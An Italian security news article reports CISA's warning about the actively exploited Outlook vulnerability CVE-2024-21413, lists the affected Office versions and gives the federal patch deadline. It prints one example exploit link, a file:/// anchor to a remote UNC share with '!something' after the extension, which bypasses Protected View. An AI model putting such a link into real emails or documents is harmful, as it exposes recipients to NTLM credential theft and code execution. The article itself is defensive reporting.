Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Condividi la tua difesa. Incoraggia l'eccellenza.
La vera forza della cybersecurity risiede
nell'effetto moltiplicatore della conoscenza.
Per Un Punto Esclamativo In Più, Outlook Cadde Giù! Grave RCE Avverte il CISA

Per Un Punto Esclamativo In Più, Outlook Cadde Giù! Grave RCE Avverte il CISA

7 Febbraio 2025 17:43

Il CISA avverte sulla necessità di aggiornare una grave vulnerabilità di Microsoft, che è già sfruttata dagli aggressori in attacchi attivi. L’avvertimento vale in particolar modo per le agenzie federali.

La Vulnerabilità CVE-2024-21413 consente l’esecuzione di codice arbitrario su sistemi remoti, aggirando i meccanismi di sicurezza di Outlook.

L’errore è stato scoperto dai ricercatori di Check Point ed è correlato alla convalida errata degli input durante l’apertura di e-mail con link dannosi nelle versioni vulnerabili di Outlook.

Sfruttando il bug, gli aggressori possono eludere la Visualizzazione protetta, progettata per bloccare i contenuti pericolosi. Ciò fa sì che i file di Office dannosi vengano aperti in modalità modifica, consentendo il download e l’esecuzione di codice dannoso.

Microsoft lo ha risolto il CVE-2024-21413  ma ha avvisato che la vulnerabilità rimane attiva anche in modalità anteprima documento. Il report di Check Point afferma che gli aggressori utilizzano una soluzione alternativa aggiungendo un punto esclamativo e testo casuale dopo l’estensione del file ai link con il protocollo.

Questo approccio consente di aggirare le difese di Outlook e scaricare contenuti dannosi.

Esempio:

<a href=”file:///\\10.10.111.111\test\test.rtf!something”>CLICK ME</a>

Sono a rischio diverse versioni dei prodotti Microsoft:

  • Microsoft Office LTSC 2021;
  • App Microsoft 365 per le aziende;
  • Microsoft Outlook 2016;
  • Microsoft Office 2019.

Lo sfruttamento riuscito della vulnerabilità potrebbe portare al furto delle credenziali NTLM e all’esecuzione di codice arbitrario.

Le agenzie federali devono correggere l’errore entro il 27 febbraio, in conformità con la direttiva BOD 22-01.

Il CISA sottolinea che tali vulnerabilità sono spesso prese di mira dagli hacker e rappresentano una seria minaccia per le infrastrutture governative. Sebbene l’ordinanza si applichi alle agenzie governative, gli esperti raccomandano vivamente a tutte le organizzazioni di installare urgentemente aggiornamenti di sicurezza per prevenire possibili attacchi.

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Cropped RHC 3d Transp2 1766828557 300x300
La Redazione di Red Hot Cyber fornisce aggiornamenti quotidiani su bug, data breach e minacce globali. Ogni contenuto è validato dalla nostra community di esperti come Pietro Melillo, Massimiliano Brolli, Sandro Sana, Olivia Terragni e Stefano Gazzella. Grazie alla sinergia con i nostri Partner leader nel settore (tra cui Accenture, CrowdStrike, Trend Micro e Fortinet), trasformiamo la complessità tecnica in consapevolezza collettiva, garantendo un'informazione accurata basata sull'analisi di fonti primarie e su una rigorosa peer-review tecnica.

Articoli in evidenza

Immagine del sitoInnovazione
L’IA non chiede il permesso: sta riscrivendo le regole in fretta e probabilmente male
Massimiliano Brolli - 29/01/2026

L’intelligenza artificiale è entrata nel lavoro senza bussare. Non come una rivoluzione urlata, ma come una presenza costante, quasi banale a forza di ripetersi. Ha cambiato il modo in cui le persone lavorano, sì, ma…

Immagine del sitoCybercrime
Attenzione al “I am not a robot”: la trappola malware che usa Google Calendar
Bajram Zeqiri - 29/01/2026

Una nuova minaccia si aggira, usando la nostra più grande debolezza: l’abitudine. Quante volte, infatti, capita di ritrovarsi a cliccare su caselle di verifica senza pensarci due volte? Ora, pare che i malintenzionati abbiano creato…

Immagine del sitoCybercrime
WinRAR come arma: Google scopre una falla sfruttata da APT e cybercriminali
Bajram Zeqiri - 29/01/2026

La falla di sicurezza in WinRAR, emersa durante la scorsa estate, ha mostrato una diffusione maggiore rispetto alle aspettative. Diverse organizzazioni, sia criminali comuni che gruppi APT finanziati da nazioni, stanno sfruttando attivamente questa vulnerabilità,…

Immagine del sitoCybercrime
Colpo al cuore del cybercrime: RAMP messo offline. Il “tempio” del ransomware cade!
Bajram Zeqiri - 28/01/2026

Il forum RAMP (Russian Anonymous Marketplace), uno dei principali punti di riferimento del cybercrime underground internazionale, è stato ufficialmente chiuso e sequestrato dalle forze dell’ordine statunitensi. La notizia è emersa dopo che il dominio associato…

Immagine del sitoDiritti
La privacy è morta? No, ma è in coma! Cosa celebriamo davvero oggi 28 gennaio
Silvia Felici - 28/01/2026

Oggi è il 28 gennaio e, come ogni anno da un bel po’ di tempo a questa parte, ci ritroviamo a celebrare la Giornata europea della protezione dei dati. È una roba che nasce nel…